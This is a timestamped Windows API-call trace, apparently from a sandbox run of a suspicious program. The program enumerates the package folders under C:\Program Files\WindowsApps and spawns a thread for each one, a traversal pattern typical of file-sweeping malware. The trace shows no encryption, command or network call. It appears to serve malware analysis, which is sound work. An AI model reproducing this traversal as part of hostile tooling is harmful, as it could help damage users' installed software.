	[0078.087] wcscpy (in: _Dest=0x476c798, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.087] wcscat (in: _Dest=0x476c798, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.087] wcscat (in: _Dest=0x476c798, _Source="Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe"
	[0078.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476c798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0
	[0078.087] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11c813b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad7e0bf4, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xad7e0bf4, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe", cAlternateFileName="MIA22A~1.0_X")) returned 1
	[0078.087] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.087] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.087] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476d1c0
	[0078.088] wcscpy (in: _Dest=0x476d1c0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.088] wcscat (in: _Dest=0x476d1c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.088] wcscat (in: _Dest=0x476d1c0, _Source="Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe"
	[0078.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476d1c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd50
	[0078.088] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f6d5e4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad0dfe61, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xad0dfe61, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIEC84~1.0_X")) returned 1
	[0078.088] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.088] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476d5a8
	[0078.088] wcscpy (in: _Dest=0x476d5a8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.088] wcscat (in: _Dest=0x476d5a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.088] wcscat (in: _Dest=0x476d5a8, _Source="Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe"
	[0078.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476d5a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd54
	[0078.089] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fb9a9b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaca2b3ac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xaca2b3ac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI6E3E~1.0_X")) returned 1
	[0078.089] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.089] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476d4e0
	[0078.089] wcscpy (in: _Dest=0x476d4e0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.089] wcscat (in: _Dest=0x476d4e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.089] wcscat (in: _Dest=0x476d4e0, _Source="Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe"
	[0078.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476d4e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd58
	[0078.090] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b404f13, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xaee25a0f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c25330e, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIBE4A~1.0_X")) returned 1
	[0078.090] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.090] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.090] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476d0f8
	[0078.090] wcscpy (in: _Dest=0x476d0f8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.090] wcscat (in: _Dest=0x476d0f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.090] wcscat (in: _Dest=0x476d0f8, _Source="Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe"
	[0078.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476d0f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd5c
	[0078.091] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ac94c, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xaef00b37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1dc41199, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI7387~1.0_X")) returned 1
	[0078.091] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.091] wcscmp (_String1="Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476d030
	[0078.091] wcscpy (in: _Dest=0x476d030, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.091] wcscat (in: _Dest=0x476d030, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.091] wcscat (in: _Dest=0x476d030, _Source="Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe"
	[0078.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476d030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd60
	[0078.092] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59460ee7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd1ed095d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd1ed095d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI20CB~1.0_X")) returned 1
	[0078.092] wcscmp (_String1="Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.092] wcscmp (_String1="Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.092] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x47698a8
	[0078.092] wcscpy (in: _Dest=0x47698a8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.092] wcscat (in: _Dest=0x47698a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.092] wcscat (in: _Dest=0x47698a8, _Source="Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0078.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47698a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd64
	[0078.093] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58fa379e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd1eaa713, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd1eaa713, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIAECB~1.0_N")) returned 1
	[0078.093] wcscmp (_String1="Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0078.093] wcscmp (_String1="Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0078.093] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x476d288
	[0078.093] wcscpy (in: _Dest=0x476d288, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.093] wcscat (in: _Dest=0x476d288, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.093] wcscat (in: _Dest=0x476d288, _Source="Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe"
	[0078.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476d288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd68
	[0078.094] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa599a57e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf561945, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6e6321cd, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI4126~1.0_X")) returned 1
	[0078.094] wcscmp (_String1="Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.094] wcscmp (_String1="Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.094] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2ddc2e0
	[0078.094] wcscpy (in: _Dest=0x2ddc2e0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.094] wcscat (in: _Dest=0x2ddc2e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.094] wcscat (in: _Dest=0x2ddc2e0, _Source="Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe"
	[0078.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddc2e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd6c
	[0078.095] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa57d3c26, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xafabb342, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6e60bed5, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI01E4~1.0_N")) returned 1
	[0078.095] wcscmp (_String1="Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0078.095] wcscmp (_String1="Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0078.095] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476d350
	[0078.095] wcscpy (in: _Dest=0x476d350, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.095] wcscat (in: _Dest=0x476d350, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.095] wcscat (in: _Dest=0x476d350, _Source="Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe"
	[0078.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476d350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd70
	[0078.096] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ef508f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd45db281, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd45db281, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MI4988~1.SCA")) returned 1
	[0078.096] wcscmp (_String1="Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2=".") returned 1
	[0078.096] wcscmp (_String1="Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2="..") returned 1
	[0078.096] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x477c020
	[0078.096] wcscpy (in: _Dest=0x477c020, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.096] wcscat (in: _Dest=0x477c020, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.096] wcscat (in: _Dest=0x477c020, _Source="Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0078.096] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477c020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd74
	[0078.097] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f76a4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd45db281, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd45db281, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI2A4A~1.0_N")) returned 1
	[0078.097] wcscmp (_String1="Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0078.097] wcscmp (_String1="Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0078.097] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2ddbe90
	[0078.097] wcscpy (in: _Dest=0x2ddbe90, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.097] wcscat (in: _Dest=0x2ddbe90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.097] wcscat (in: _Dest=0x2ddbe90, _Source="Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe"
	[0078.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddbe90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd78
	[0078.098] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16dc6f6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd45db281, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd45db281, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI5B43~1.0_X")) returned 1
	[0078.098] wcscmp (_String1="Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.098] wcscmp (_String1="Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.098] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d616e0
	[0078.098] wcscpy (in: _Dest=0x2d616e0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.098] wcscat (in: _Dest=0x2d616e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.098] wcscat (in: _Dest=0x2d616e0, _Source="Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe"
	[0078.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d616e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd7c
	[0078.099] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x255053c0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd61ded48, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd61ded48, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MI155A~1.SCA")) returned 1
	[0078.099] wcscmp (_String1="Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2=".") returned 1
	[0078.099] wcscmp (_String1="Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2="..") returned 1
	[0078.099] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47e9c50
	[0078.099] wcscpy (in: _Dest=0x47e9c50, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0078.099] wcscat (in: _Dest=0x47e9c50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0078.099] wcscat (in: _Dest=0x47e9c50, _Source="Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0078.099] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e9c50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd80
	[0078.099] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2499f315, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd61ded48, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd61ded48, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI698D~1.0_X")) returned 1
	[0078.100] wcscmp (_String1="Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0078.100] wcscmp (_String1="Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0078.100] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x4986860
	[0078.100] wcscpy (in: _Dest=0x4986860, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
